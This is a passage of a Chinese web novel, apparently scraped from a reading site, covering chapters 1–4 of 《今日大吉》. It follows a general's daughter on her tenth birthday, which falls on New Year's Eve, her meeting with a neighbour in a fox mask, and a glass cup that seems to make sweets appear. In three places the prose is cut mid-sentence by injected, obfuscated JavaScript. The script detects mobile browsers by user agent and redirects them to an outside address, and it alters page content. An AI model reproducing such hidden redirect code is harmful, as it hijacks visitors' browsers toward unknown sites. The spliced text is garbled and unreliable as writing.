《今日大吉》 1. 第 1 章 又是一年除夕,一早屋外就喧闹不止,但屋内人的睡眠着实质量很好,即使是一声砰响,花瓶碎了满地,被子里包裹的那一团也没有任何动静。 “哎哟!我的秀儿!你今天怎么也毛手毛脚的?这都碎了第几个盘子了?你们干活都仔细点儿!” 云嬷嬷踮脚绕过地上的碎瓷片,一边照顾人来清理干净,一边嘴里碎碎念叨:“碎碎平安!岁岁平安!” 看到紧闭的房门,云嬷嬷愣了一下,随后又神情了然道:“小姐今日又赖床了?” “可不是么?”珍儿捧着洗漱的用具瘪了瘪嘴道,“已经小声吆喝过两次了,但是屋里没动静。” 云嬷嬷回头看了看天色,犹豫了片刻还是叹气道:“不能再睡了,待会将军该下朝了,而且今天是大日子,晚点客人都该来了,回头宴席都开了,主人翁却还在床上,这可不得让人笑话!” 说完云嬷嬷就推门而入,刚到床边,被子鼓包的地方便动了动,压着被角往角落处滚得更紧。 云嬷嬷和珍儿对视一眼,珍儿上前轻唤道:“小姐,你醒了么?” 被子里的人没动静,倒是几声刻意的鼾声突然从被子里闷传出来。 此地无银三百两。 云嬷嬷给珍儿使了个眼色,珍儿明白后退,将早就准备好的糕点递了过去。 云嬷嬷接了糕点也不说话,只轻轻靠近被子鼓起的地方,对着珍儿扬了扬下巴。 珍儿立刻会意,熟练地找出被沿松垮处掀起,帮着云嬷嬷慢慢挥手,将热腾腾的香甜糕点味送进了那点狭小空间中。 两人刻意地扇着味儿,一开始被子里还没动静,过了几息,被面轻动,再过了片刻,被子里冒出两根灵活的“白玉小葱”,慢慢顺着香味飘来的地方游动而去。 珍儿端着糕点一步一步后退,被子里探出的“白玉小葱”也增加到了五根,当它像猫爪开花一样准备扑下糕点时,旁边盯着的云嬷嬷一把握住了那细嫩手腕,将被子里的人似萝卜一样拔了出来,然后抱了个满怀。 “阿嬷早上好!”阮歆梨快速地问了好又闭了眼歪头瘫软道,“阿梨好困!要继续睡觉觉了!” 云嬷嬷应了好,将小姑娘圈在怀里,轻轻捏起她两边腮帮处滑嫩的软肉道:“小姐是不是忘记今天是什么日子了呀?待会老爷、将军和公子都该回来了,还有很多宾客也快到了,小姐不想和他们一起玩么?” 不想!聊天又聊不懂,玩又玩不好,一群无趣的大人! 但是阮歆梨并不想答话,因为只要答了一句,云嬷嬷就会一直和她说话,直到她彻底醒来为止,根本没法续觉! 见阮歆梨装睡不理人,云嬷嬷又引诱道:“今日除夕,又恰逢小姐的生辰,府里一早就准备了一堆好吃的,小姐不先去尝尝么?” 好吃的?那些吃的又不会长腿跑,最后都会进她肚子里。不像睡觉,现在醒了就会少睡一个时辰! 说了许久也不见阮歆梨有动静,眼见着人儿马上就要熟睡过去,云嬷嬷叹了口气,只得直接上手帮她换起衣服。 被人拉手抬肩,折腾来折腾去,阮歆梨想睡又睡不着,只能委屈地瘪了嘴软声道:“阿嬷,阿梨真的要困死啦!你就让阿梨再睡一会嘛,好不好?” “呸呸呸!大好日子说什么死不死的!咱们小姐生活如蜜,会幸福一辈子!” 云嬷嬷还是心疼小姑娘,停下手摸着她柔滑的发顶道:“可是真的不能再睡了。平日里随你胡闹,今日这么多宾客会来,咱们小姐以后还要嫁个好人家,可不能落了个懒倦无礼的名儿。” 落个什么名,嫁不嫁人,阮歆梨自是无所谓,她也不明白这些是什么意思,有什么关联。 但是她听明白了一点,无论如何,云嬷嬷都不会再让她赖床了。既然懒觉睡不成,她得给自己捞点其它好处! 打好主意的小姑娘睫羽轻颤,慢慢掀开一只眼商量道:“那阿嬷等会带阿梨去西街买糖人,我要鲲鹏和白泽!” 想起阮知闲的叮嘱,云嬷嬷回绝道:“不行,老爷特意叮嘱了,您最近正在换牙,不能吃糖!” 见小姑娘唇瓣开始抿起,云嬷嬷又点了点她的腮帮道:“前日还因为牙疼哭鼻子,真是好了伤疤忘了疼!” 阮歆梨还是不肯放弃,眼珠咕溜了半圈道:“阿嬷你刚刚还说生活如蜜,糖人是甜的,多吃糖才会更甜!今天是好日子,吃糖才有好兆头!” “额这......” 被阮歆梨这么一说,云嬷嬷一时竟没想出什么反驳的话,甚至还觉得有些道理! “那照你这么说,多吃苦味,以后就能扛得住苦头。” 门外进来一位高挑精瘦的女子,她随手将斗篷退下扔至桌上,双手掐进阮歆梨的腋下,直接将纤瘦的小姑娘抡了半圈,收进了自己的怀中。 她瞅着怀里从见着她就耷拉了脑袋的小姑娘,咧嘴挑逗道:“你一向被惯得娇气,我看今后每天给你吃一根苦瓜,练练你吃苦的本事!” “阿娘!阿梨不吃苦!” 好汉不吃眼前亏,知道林枝意回来,自己也讨不着什么好了,阮歆梨当即见风使舵,抱着她的脖颈轻蹭商量道:“阿梨知道不能吃糖,只是那吹糖人的阿叔,做得神兽格外逼真,阿梨想要!” “一天到晚就知道看那些神神鬼鬼的小书。”林枝意单手抱起阮歆梨,走到床边伸手在她的枕头下摸索起来。 摸了半天什么也没摸着,她瞥了眼怀里人问道:“这几天晚上是不是又偷偷摸摸看那些小书了?” “没有!阿梨很听话的!” 嘴上说着没有,眼神却暴露了一切。 一双黑圆的瞳眸紧张地飘向床尾,林枝意哼笑一声,弯腰在床尾处摸起! “阿娘!阿嬷说了,马上会有很多客人来,阿梨要赶紧穿衣服见客,不能失了礼数!阿梨不要糖人了!” 心虚之色显得极清,林枝意才不应她这招“声东击西”,在靠近床幔处摸到了一块硬物,她将床褥掀开,果然藏了两本小书。 看到封面上绘得两只奇珍怪兽,林枝意也不用再问,直接将书丢到自己方才扔得斗篷上道:“没收!” “阿娘!” “撒娇没有用!我对惯犯从不心软!” “啊——” 一见商量无路,今日没睡成懒觉,也没要着糖,现在连好不容易藏住的小书也被收走了,憋屈了一早的阮歆梨,终于放弃了乖顺讨好的形象,开始无赖嚎哭起来! “怎么这么热闹?”阮知闲还没进门就听到了哭声,看到扔在一旁的小书,还有林枝意怀中半穿衣服的阮歆梨,当即明白了情况,无奈摇了摇头。 “你看你,又不听话。”阮知闲从林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142365|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝意怀中轻轻接过孩子,替她抹去泪水,掀了掀她的眼皮道,“充血之状好了许多,但是也不能再熬夜看书了,你看你这小眼眶,下面还泛着青,就和你那小书里的虚鬼一样。跟阿爹说说,虚鬼是何缘由而成?” “或酗酒,或不眠,或豪赌,或食毒。起贪念,无节制,遂呈虚相,死后亦是。” 阮歆梨抽噎答话,也明白再熬夜偷看小书,伤得就不仅是自己的眼睛了。 “阿梨知错了,以后一定不会再犯。”虽是认了错,恋恋不舍的目光还是落在了那两本小书上。 “等你眼睛彻底好了,这书才能还给你。” 林枝意丝毫不心软,阮歆梨也没再闹腾,蔫耷耷的任由云嬷嬷给她穿衣装扮。 阮知闲左右看了看这母女二人,轻轻叹了口气,起身走到林枝意的随从身边:“拿出来吧。” 左青眨了眨眼,阮知闲无奈道:“她不是买了剪纸么?” “阮哥你怎么知道的!”左青将背着的双手摊出,把包好的剪纸递于了阮知闲。 阮知闲将带着瑞兽形象的剪纸递给阮歆梨,小姑娘的目光顿时晶亮。 “谢谢阿娘!”拿到了喜欢的礼物,方才还闷闷不乐的阮歆梨,现在心里乐开了花。 林枝意屈指轻敲了一下阮歆梨的额头,有些诧异地看向自己的夫君:“你怎么知道我买了剪纸?” 阮知闲摊手温笑道:“天机不可泄露。” 林枝意跟着磨了一会也没问出什么,直到看到自己手指处的晕染红痕,这才明白过来。 “难怪你知道,原来是染了色,还跟我故意卖关子。” 阮知闲斟了茶递于林枝意笑道:“开个玩笑,如何?现在心情是不是好了许多?” 林枝意不解道:“我没心情不好啊!” “那我怎么听说,今日在太宸殿,你与隔壁顾家那小子,吵得差点打起来?” 提及早朝之事,林枝意火气又升了些,随后又消散道:“倒也不是和他真置气,他也是秉公办事,只是他实在是嘴欠,听得人窝火!” “阿嚏!” 刚刚从皇城走出的俊俏公子突然打了个喷嚏。刚好路过的一位老臣关怀道:“如今天冷,顾大人可得注意身体!” 顾明池拱手道谢:“多谢陆大人关心,晚辈定会注意!” 两人一同走了几步,直至路口,也没见陆大人有转向之意。顾明池不禁提醒道:“陆大人,您走错方向了。” “走错?”陆大人摇头道,“没错,将军府就是这个方向啊!” “您要去将军府?今日除夕,还不急着回家么?” 见顾明池讶异,陆大人也有些惊讶:“今日是除夕,也是林将军家的千金十岁生辰,她早就邀了诸位同僚携家人赴宴,怎么,她没邀请你么?” 陆大人思考了片刻问道:“顾大人不会是因为今日殿上与林将军辩了几句,便生了气,不愿去了吧?” 顾明池尴尬摇头,林枝意不过是大声说了几句话,后来还被他气得不轻,而且她怒也有怒得道理,他倒不至于为了公事,影响同僚间私下的关系。 只是他确实忘了这茬,看看陆大人仆从手中的贺礼,顾明池有些惆怅。 不去又不好,也不能空手去。买点什么贺礼好呢? 哦对,还不能太贵,毕竟他穷! 2. 第 2 章 “公子,您不是说要买生辰礼物么?在这兜了两三圈了,您究竟是想买什么?” 崔参跟着顾明池已经在京中最有名的几家首饰店进进出出四五回了,若不是他家公子长了一张令人舒心的脸,怕是早惹得老板厌烦,将他赶了出去! 顾明池敲着手中折扇,又重新迈进第一家饰品铺道:“还有些时辰,不急。” “哎哟,顾大人,您怎么又回来了?”看到顾明池回来,老板有些期待道,“是决定下来买什么了么?就那对金丝彩蝶钗,不是小的吹,整个京城都找不出第二家做工更精细的!” 老板重新取来那对金钗推荐道:“您看看,多漂亮!送小姐做生辰礼定是满意!” 顾明池背着手在店里溜达,只随意瞥了眼那钗子道:“方才看过了,送小姑娘太老气。” 老板被噎得一顿,又从旁边拿出一只玉镯道:“那您看看这芙蓉镯!啧啧,多嫩的颜色啊!玉质细腻,颜色就如那早春盛野的桃花!” 顾明池这次倒是多看了两眼,但是只屈指敲了一下摆放镯子的紫檀木盒道:“太贵,买不起。” 老板已经滚到舌尖的赞美话被堵,又噎了半晌才干巴巴一笑道:“顾大人可真会开玩笑,这京中哪有您买不起的东西。” 上上下下转了两圈,顾明池也没拿起一样东西细看。老板本就圆胖,陪着顾明池转了这么久,终是忍不住道:“顾大人,您究竟是想要买什么礼物,不妨说出来,若是小的这没有,也好给您指个路。” 顾明池环顾一周,确实没找到什么合心意的东西,摇摇头无奈道:“实不相瞒,我也不知道该送什么好。” 他家中只他一人,亲朋甚少,礼也不曾送过几回,更别提是送一个十岁小姑娘。 老板倒也是实在人,认真给顾明池提供起思路来:“这送礼当然是最讲究合适,合意!” “送姑娘,这金银首饰和胭脂水粉最合适不过!”老板思索了片刻又追问道,“但小姐芳龄才十岁......顾大人可知小小姐平日里有什么偏爱喜好?” 这倒是把顾明池问住了。 虽说肃远侯府和将军府只一墙之隔,两边已是邻居多年,但他只与林枝意和她的长子阮怀轩时有往来,她家那个小姑娘,还真没怎么接触过,上次见面还是...... 顾明池倏然一笑,向老板询问道:“你这里有没有什么看起来光芒很盛的东西?” “光芒?”老板拿起一个金镯道,“纯金的,打磨光滑,这个亮!” 顾明池推开那笨重的金镯问道:“有没有更亮,光泽也漂亮的?比如,南珠之类的?” “顾大人,这若是前些年您来问,小店还真有南珠,只是这几年咱们与南域关系不大好,两边鲜少贸易往来,这南珠便不太好寻了。” 老板思索了片刻,倒是想到了一个可能符合顾明池要求的礼物:“顾大人若是想要那光芒漂亮之物,倒是不妨去南街的奇珍阁看一看。那里有不少西漠来的宝贝,其中有种名唤‘琉璃’的珍品,应是符合您的要求!” 琉璃此物,顾明池也曾听过,这些年与西漠关系缓和,东盛这边也多了不少那边的货物。 “那便多谢老板指路了!”顾明池谢过老板,带着崔参又往奇珍阁晃去。 奇珍阁位于街巷拐角,门窗皆以纱幔遮掩,这会天色渐晦,屋内光线更是昏暗,但顾明池还是被柜架上陈放的物品晃了眼。 琉璃清透多彩,多棱角的雕琢,让琉璃的光泽如水般润泽。 这次顾明池决定得很干脆,只一眼就认定了架子上那樽小巧精致的琉璃盏。 老板介绍说,西漠的贵族喜欢用它饮酒。顾明池想,小姑娘不喝酒,拿它装些糖果还是挺合适的。 和老板讨价还价了半晌,终是以一个好价买下了琉璃盏。 拎着打包好的礼物,顾明池心情颇好,崔参心有疑惑:“公子,您怎么想起来要买琉璃盏做礼物的?” 顾明池扬眉笑道:“就如老板所说,投其所好。” “您就肯定阮小姐喜欢这琉璃盏?”崔参挠了挠鬓边嘀咕道,“西漠那边贫瘠多蛮,哪有我们东盛地大物博,说不准这蛮夷之礼会被嫌弃呢!” 头顶突然一痛,顾明池收回扇子摇头道:“如今我们与西漠,北寒是友邦,这样的话莫要乱说。” “其实我也不确定她是不是还喜欢这些光芒漂亮之物。”想起五年前那个摘了他冠上南珠不肯松手的小姑娘,顾明池轻笑道,“不过喜好大抵是变化不大,即使没有多喜,也应当不会厌恶吧。” 除夕之夜,爆竹声响,门户后透着温暖的光晕,一家人聚在一起,甚是温馨。 巷口处,老人家抱着个小孩坐在台阶上,面前木架上还挂着不少手绘面具。 “爷爷,我们什么时候回去呀?”小孩子总是坐不住,在老人家怀里扭了两下,歪着身子嗅了嗅隔壁道,“爷爷,是酱肘子的味道,好香啊!” “等再卖两个面具,咱们就收摊回去买酱肘子。”老人家搓了搓手,将孩子冻红的耳朵拢进了手心。 一旁的顾明池看在眼里,从怀中掏出一锭碎银递了过去:“老人家,这些我全买了。” “哎好!您稍等!”等了一日,终于有了生意,老人家激动地接过碎银,翻出随身的钱袋细细数起铜板。 然而身上的银钱本就不多,今日又没什么收入,他竟是连找零的铜板也拿不出。老人家看着手心中的碎银,有些焦急道:“这位公子,您可以稍等一会么?我现在就去找人将钱换开,我让我家这小孙子在这,不会拿钱就走......” “不用这么麻烦。”顾明池示意崔参道,“这面具太多,老人家可否连木架一同卖于我,也方便摆放。” “当然可以!公子您请便!”老人家帮着崔参将东西收拾好,小男孩晃着腿开心道,“太好喽!可以回家吃酱肘子啦!” 见爷爷正在忙碌,小孩又歪头看向一旁的顾明池。 小孩子打量的目光很直白,顾明池蹲下身道:“怎么了?为什么一直看着我?” 小孩咧开嘴笑道:“大哥哥,你长得可真好看!就像故事里的狐妖一样!” “胡说什么!”老人家赶紧打断自己孙子的话赔礼道,“公子真是对不住,小孩子不懂事,想夸您长得俊朗,却又不会形容,还请您莫怪!” “无妨,我明白。” 顾明池拍了拍小孩的脑袋瓜子,小男孩又好奇道:“大哥哥买这么多面具,回去自己戴么?” 顾明池还真没思考过怎么处理这些面具。他本来只是看老人家可怜,想着帮他们一把。 他回头看向崔参身上挂满的面具,目光飘过他手上提得贺礼笑道:“送人。邻居家里刚好有个和你差不多大的孩子,她今日生辰,便送于她做礼物。” “公子,都收拾好了,咱们再不去就来不及了。” 崔参催促提醒着,顾明池起身弹了一下小朋友的发髻道:“跟爷爷回家吧,岁岁平安。” 小孩满心想着酱肘子,蹦蹦跳跳得跟着老人家离开。 崔参拎着贺礼,扛着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“林将军言重,晚辈今日也考虑不周,至于周校尉一事,我与陆大人会再商讨,看看是否还有其他可用的减刑之法。” “好了好了,也不是什么大事,先进府,马上宴席该开了。” 阮知闲招呼着大家进屋,顾明池摇头道:“实在抱歉,今日家中确实有事。” 林枝意本想再劝,阮知闲却拉着她轻轻摆了摆手:“如此,那便改日再请顾大人入府一坐。” 顾明池示意崔参将礼物放下,与林枝意一家寒暄了几句,转身离开。 行至街尾,顾明池对着身后的崔参道:“今日除夕,你也早些回家陪陪父母,不必再跟着我。” 每年除夕,顾明池都是形影单只,崔参想要留下陪他,最终还是被劝了回去。 夜色深沉,除夕团圆。街头巷陌也只有顾明池一人背手慢走。 快行出巷道,顾明池才察觉到腰间悬了一件异物,原来是方才拿给崔参看的那个面具,当时随手收在腰袋旁忘记放了回去。 白底红纹,夸张的狐狸彩绘格外妖艳。 画得倒是很用心。顾明池笑了一下,将它覆在了自己的面上。 他缓步向前,头顶上方却传来惊喜之声:“等一下!你可以帮我下来么?” 顾明池抬头,只见墙头露着一个梳着双环髻的小脑袋。 迎着微弱的烛火光,墙头上的人看清了顾明池的面容。 怔了半晌后,她怯着声却又瞳眸闪烁道:“你......是狐妖么?” 嗯?顾明池不禁眉尾高挑。 墙头上的人害怕而又兴奋,顾明池细细打量了她的穿着打扮,粉嫩的脸蛋还留着几分五年前的稚嫩模样。 大概猜出了这个粉糯团子是谁,顾明池突然起了挑逗之心。 他缓缓抬头,迎着小姑娘龇起牙,扮出了吃人之相。 阮歆梨不禁闭了眼,随后又掀开一条缝偷偷观察。 这个狐妖,看起来牙口很好。 3. 第 3 章 除夕夜遇上生辰宴,府里的客人众多,林枝意她们也一直在门口忙活,只留了秀儿和珍儿陪着阮歆梨。 踢毽子,丢沙包,踏球......能玩的玩了一轮,秀儿和珍儿累得大喘,阮歆梨却还是觉得很无趣。 她想出门玩。 听说除夕夜城外要放烟火,南街那边也有西漠人会变戏法。 想到就去做,阮歆梨一拍手,和秀儿珍儿商量道:“我们一起玩躲猫猫吧!” 今日寿星最大,秀儿和珍儿也不想扫阮歆梨的兴儿,陪着她玩了起来。 “你们两个看起来好累呀,要不你们躲,我来找吧,这样躲好后你们还能歇一歇!” 阮歆梨的提议,两个小丫鬟也欣然同意,当即各自去寻位置藏身,然后一边美滋滋地歇着,一边等阮歆梨去寻她们。 见秀儿和珍儿走远,蒙着眼倒数的阮歆梨也不装了,顺着两人藏身的相反方向,奔着临街的那座院墙而去。 爬墙,阮歆梨是熟手。 头两次她都是借着墙边那棵石榴树往上爬,不幸的是,每次刚坐到树干上,就被巡逻的府卫发现,通报给她阿娘了,结果那棵石榴树就被无辜牵连,砍了。 今天运气好,前些日子翻修仓房,墙边还堆着剩余的砖块。 阮歆梨吭哧吭哧将砖块累出高度,顺着砖块很快便爬到了墙沿之上。 一切太过顺利,小姑娘有些飘飘然,骑在墙头上哼起了小曲儿,然而没嘚瑟多久,她就发现了另外一个问题,院内有砖块帮忙,院外她又如何下去? 阮歆梨扶着墙沿往外望,夜晚的巷子黑且寂静,除了偶尔两声猫叫,连个人影都没有。 翻回去,出门游玩的计划就泡汤了,难得今日出逃这么顺利,她不甘心。跳下去,院墙实在太高,她又很怕疼。 犹豫之间,巷子里倏然传来了脚步声。 担心是府外的巡卫,阮歆梨赶紧矮了身躲藏起来。她偷偷露着半颗小脑袋向外探看,只见一道修长高挑的身影移动而来。 不是巡卫! 阮歆梨当即开心起来,她踮起脚努力探起身求助道:“等一下,你可以帮我下来么?” 院墙下的人脚步一顿,阮歆梨也不敢喊得太大声,只拼命挥手,试图用晃动的影子引来对方的注意。 那人缓缓转身,抬头对视,阮歆梨这才看清对方的面容—— 很妖艳的狐狸。 红色的纹饰在夜色中显得格外神秘。阮歆梨倏然想起,小书中提到的那些会吸食人精气的狐妖。 阮歆梨的好奇心又极速膨胀,犹豫了片刻,她向墙头攀得更近—— 就看一眼! 半面诡艳,另半面却与人无异,白肤红唇,应该是一只干净漂亮的狐狸! 那半人半妖就站在墙下静静望着她,看起来也没有攻击之意,阮歆梨这才大起胆子询问道:“你是狐妖么?” 墙下的狐妖终于有了反应,光线昏暗,阮歆梨看不清他的表情,只觉得他的唇角似是弯翘,他好像在笑。 然而下一秒,那狐妖便冲着她龇起了一口牙,做出了想要吃人之状。 阮歆梨吓得闭了眼,黑暗中四周一直没有其他动静,她颤颤地掀开一只眼,墙下空无一人,那只狐妖不见了。 她大着胆子将身子探得更外,巷内干干净净,那只狐妖好像真的走了。 “你是在找我么?” 耳边突然传来一声轻语,阮歆梨吓得一激灵,差点从墙头摔下去! 好在那狐妖心地尚可,眼疾手快地拉住了她,并扶着她在墙头上重新坐稳。 “胆子不是很大么,这会知道怕了?” 狐妖倚在墙头上屈腿轻笑,阮歆梨拍了拍自己的小胸口顶嘴道:“是你突然爬上墙,才吓了我一跳!” “行,是我不好。我道歉,对不起,吓到你了。” 这狐妖倒是没什么脾气,看起来格外好说话。 阮歆梨转了转眼眸靠近道:“你真的是狐妖么?” 这会离得近了,阮歆梨才看清那狐狸红纹是一副面具。 她抬手想要触碰,对方却敏捷一躲,抓了她的指尖道:“狐妖千面善变,你知道如果看了它的真容会怎样么?” 阮歆梨圆睁着眼思考道:“会被吃干净!” 小姑娘答得飞快,倒是省得他再费脑子编个理由了。 装成狐妖的顾明池心中一乐,故意引着小姑娘的指尖,触碰在他的面具边缘:“掀开看吧。” “不用了!阿梨不好奇了!”阮歆梨快速缩回手,摇着小脑袋瓜子直往后退。 担心小姑娘掉下墙头,顾明池伸腿将这小小的粉糯团子圈住,他探起斜倚的身子,低首前倾道:“说说,这么晚爬墙头,你想去做什么?” “阿梨想去看烟火!还想去看西漠人变戏法!” 阮歆梨大着胆子抓住顾明池的袖角,左右轻晃道:“狐妖哥哥,你会飞对不对!你带阿梨下去好不好呀?” 小姑娘嗓音软糯,大概是府里常伴她的有南方人,连带着她说话都带着些独特的尾音,这似撒娇的语气,实在是让人难以拒绝。 生辰日想出去玩一会,好像也没什么大不了。顾明池正犹豫着要不要带她出去转一转,院里传来了阵阵寻人声。 “你们快去南面围墙处找找!小姐之前总想从那边偷溜出府!” 府卫的话,顾明池听得一清二楚,他敲了下阮歆梨的脑袋道:“原来是个惯犯!该罚!” 府卫的声音越来越近,阮歆梨有些着急。顾明池抬头看了眼天色,伸手掸去小姑娘领边树叶道:“回去吧,家里人找不到你会担心的。” 黑亮的瞳眸里失望之色难掩,看着难过的小寿星,顾明池犹豫了一会许诺道:“若你乖乖听话,等过些时日,我带你去南街看戏法。” “真的么?你没有骗我?” 小姑娘眼巴巴地望着人,本是三分哄人的话,这会也成了真:“没骗你,等有好的机会,我便带你出去。” 知晓今日是出不去了,阮歆梨伸出了小指。 顾明池不解地看着那根细短小指,阮歆梨抓过他的手,用小指勾住来回拉扯了两下道:“拉钩上吊,你若是骗阿梨,那就......狐妖变狗妖!” 顾明池:“......” 小姑娘松开手,麻溜得顺着砖块又爬了下去。只要没在墙头上捉到她,就没证据说她是准备偷溜出门,阿娘也没办法罚她! 阮歆梨往回跑了几步,倏然一停,又回首向墙头上的顾明池挥手道:“除夕快乐!” 坐在墙头上的顾明池微微愣神,等反应过来时,小姑娘已经跑得没了踪影。 顾明池从墙头站起身,望着院内喧闹之处,半晌后才轻轻道出迟来的回应:“除夕快乐。” 这是肃远侯夫妇离世后,顾明池第一次收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142367|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这么正式的祝福。 * “阿梨,你老实交代,是不是又想偷偷溜出府?”林枝意看着自家不省心女儿,气不打一处来。 阮歆梨理直气壮道:“没有,我在和秀儿、珍儿躲猫猫!” “那你身上怎么这么多灰尘,是不是又爬墙了?” 这会儿有点心虚,阮歆梨软了点声反驳道:“这是我去找秀儿她们,在假山洞里蹭到的。” 林枝意还是不相信,准备亲自去院墙处看看。 阮歆梨有点紧张,担心狐妖还没走,会被她娘发现。 阮知闲看了看自家闺女的神情,知道她定是在院墙处留了“尾巴”,只好出来圆场道:“好了,阿梨也没出府,人也好好在这里,你也别折腾计较了。” 阮怀轩也跟着帮腔:“是啊娘,妹妹哪里做错了,改日再训吧,今天是她十岁生辰,高兴一点!” “行了行了,下不为例!” 阮歆梨扑到林枝意怀里,在她的脸颊处亲了一口。 “皮猴!天色不早了,和云嬷嬷回去休息吧。” 阮歆梨牵着云嬷嬷的手回屋,推开房门不禁“哇”出了声:“这些都是给阿梨的么?” “都是今夜的宾客送给小姐的贺岁礼物。” 阮歆梨兴奋地拆了几个,虽然很开心,但是兴趣减了不少。 东西都是好东西,就是没什么意思。 又拆了几件确实无趣,阮歆梨伸了懒腰准备上床睡觉,突然看到了一个与众不同的礼盒。 别的礼盒大多典雅方正,只这一个盒面上的纹样独特,还带着一股馥郁浓香。 阮歆梨将礼盒抽出,打开一看,两个手心大小的琉璃盏光鲜亮眼。 哇!好闪!她喜欢这件礼物! 阮歆梨对琉璃盏爱不释手,抱着它回到床上,玩得很是开心。 “阿梨在干什么?”终于送完所有宾客的林枝意进屋一看,小姑娘裹着被子在里面缩成一团,睡得正香。 林枝意上前替她掩了掩被角,刚准备抽手,却在被子里摸到了一个硬硬的物品。 “这是?” 云嬷嬷在一旁小声答话道:“客人送的礼物,小姐很是喜欢。” 林枝意伸手摆弄了两下,但是阮歆梨抱得紧,拿也拿不走。 “一点也松不开手?看来是真的很喜欢。”林枝意不再动它,想了想又从身上掏出几颗蜜糖放了进去:“生辰快乐!” 林枝意对着云嬷嬷小声道:“给她一点甜头,但是明日别告诉她是我所给,装不知道便是!” 要是让阮歆梨知道了,以后指不定怎么撒娇耍赖,一点也没个怕头。 第二日,阮歆梨抱着琉璃盏醒来,迷蒙着眼贴着琉璃盏蹭了几下,倏然却闻到一股甜腻的香。 她猛然睁眼,只见琉璃盏里塞满了蜜糖! 嗯??! 怕被云嬷嬷她们发现,阮歆梨赶紧将琉璃盏塞进了被窝中。 她悄咪咪从盏里摸出一颗蜜糖塞进嘴里,满腔甜味儿! 是真的糖! 阮歆梨缩进被窝里,捧着琉璃盏细细观察—— 好神奇啊,竟然一夜之间生出这么多糖来! 她抱着琉璃盏仰躺在床,回想着昨日的事情:神秘的狐妖,无故出现的糖果......小书诚不欺我! 阮歆梨美滋滋地抱着琉璃盏打滚,她可得着宝了! 4. 第 4 章 “一块、两块......六块!”阮歆梨看着琉璃盏中的糕点有些失望,“怎么还是六块,没有变多啊......难道是法力有限,需要隔一段时间才可以么?” 自从那日琉璃盏凭空生出一堆蜜糖后,阮歆梨就一直在寻找这些糖的来历。 她问了云嬷嬷与珍儿,都只说是她睡迷糊了。跑去问她的娘亲,还险些被她全部没收,吓得她也不敢再问。 阮歆梨趴在桌上,拿着琉璃盏用力晃了晃,除了流转的光芒,也没有其他什么异常。 乌黑的眼珠子左右摇摆,糖不能问,她可以问琉璃盏的来历呀!只要找到送她琉璃盏的人,她就能弄清楚琉璃盏的秘密了! 想到便去做,阮歆梨拉着珍儿和秀儿跑去库房,从孙管事手中拿到了那日的宾客礼单—— “大鸟金花瓶?”阮歆梨对着礼单一字一顿的读着,一旁的珍儿纠正道:“是太乌金光瓶。” “哦......那这个呢?”阮歆梨又指着下一行,五个字也没认出两。秀儿瞥了一眼接话道:“这是暗花缬罗锦。” 看一行问一行,珍儿也无奈道:“小姐,要不还是珍儿帮你找吧。” 明白以自己的速度,找到明天也是找不到的,阮歆梨将礼单递于珍儿道:“那你找仔细点嗷!” 两个小丫鬟凑在一起找了许久,直到第三遍翻到底才摇头道:“小姐,礼单上并没有记录琉璃盏。” “没有么?”阮歆梨停下晃悠的小短腿,歪着身子看了许久,确实看不懂这礼单,又只得眼巴巴地看向珍儿道,“你再仔细找找,真的没有么?” “奴婢确定没有!” 阮歆梨满眼失落,可转念一想,没有记录,就说明这琉璃盏来路不明,越是没有踪迹,就越是能说明它可能有异能! 失望的情绪即时消散,阮歆梨背着手开心地在库房打转,脚步趔趄,一不小心撞倒了库房中摆放的木架,眼前晕转,她看到了一张张神秘诡谲的脸。 “小姐!您没事吧?” 珍儿扶着跌坐在地的阮歆梨起身,惊吓之余,阮歆梨这才看清方才环绕她的那一张张鬼脸,是悬挂在木架上的面具。她站在木架前细看,这一张张面具上绘着各色神魔鬼怪之相。 有点眼熟。 她眨眨眼思考许久,直到看到那张同样红得妖艳的祝融面具,这才想起熟悉之感从何而来。她将木架上的面具又重新细看一遍,果然,没有狐妖。 “珍儿,礼单上有记录这些面具是谁送的嘛?” 珍儿与秀儿对视摇头,礼单她们已经翻了好些遍,看多了名贵物品,若上面有这么“特殊”的礼物,她们二人定然是印象深刻。 这个也没记录? 阮歆梨敲了敲自己的下巴,难道这琉璃盏和那晚的狐妖有关联? 好奇心高涨,阮歆梨想,她一定要找到那只狐妖问个清楚! 在库房里蹲了许久,也不算是全无所获。这会阮歆梨的心情好了许多,天色渐晚,她决定先回屋再研究研究琉璃盏! 在屋中坐至深夜,琉璃盏也没什么变化,阮歆梨强撑着迷蒙的双眼,忍不住又打了一个呵欠。 算了,还是明天再继续研究吧。她跳下凳子准备回床睡觉,离开前看了看放在盘子里没舍得吃的糕点,还是小心翼翼地一枚一枚放进了琉璃盏中。 嗯!如果明天还没有生出更多的糕点,她就把它们通通吃掉! 抱着希望爬回床上酣然入梦,屋内除了昏暗的烛火一片宁静。 半晌之后,紧闭的木窗轻轻掀起,一道黑影自屋外悄悄潜入。 黑影在屋中转了许久,最终注意到在微弱烛火下光彩流溢的琉璃盏,它轻手轻脚的来到桌前,将手中之物放在了琉璃盏中。 